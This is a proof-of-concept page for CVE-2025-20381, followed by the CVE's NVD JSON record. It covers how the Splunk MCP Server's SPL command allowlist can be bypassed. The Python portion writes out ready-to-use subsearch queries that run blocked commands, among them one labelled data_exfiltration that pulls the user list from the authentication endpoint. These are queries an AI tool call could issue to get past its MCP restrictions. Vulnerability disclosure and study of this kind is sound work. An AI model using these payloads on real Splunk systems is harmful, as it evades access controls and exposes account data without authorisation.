CVE-2025-20381

# CVE-2025-20381 Splunk MCP Server SPL Allowlist Bypass PoC # This PoC demonstrates bypassing SPL command allowlist via subsearch # Normal restricted query (blocked by allowlist) # | rest /services/server/info # This would be blocked # Bypass using subsearch embedding bypass_query = """ | search [ | rest /services/server/info spl_server_rest_uri=splunkd | fields version ] """ # Alternative bypass with multiple SPL commands bypass_query_2 = """ | search [ | tstats count WHERE index=_* BY _time span=1h | head 1 ] """ # Example: Extracting sensitive data via subsearch data_exfiltration = """ | search [ | rest /services/authentication/users | fields * ] """ print("PoC for CVE-2025-20381: SPL Allowlist Bypass via Subsearch") print(f"Query: {bypass_query}")

{"cve": {"id": "CVE-2025-20381", "sourceIdentifier": "[email protected]", "published": "2025-12-03T17:15:50.180", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Splunk MCP Server app versions below 0.2.4, a user with access to the \"run_splunk_query\" Model Context Protocol (MCP) tool could bypass the SPL command allowlist controls in MCP by embedding SPL commands as sub-searches, leading to unauthorized actions beyond the intended MCP restrictions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://advisory.splunk.com/advisories/SVD-2025-1210", "source": "[email protected]"}]}}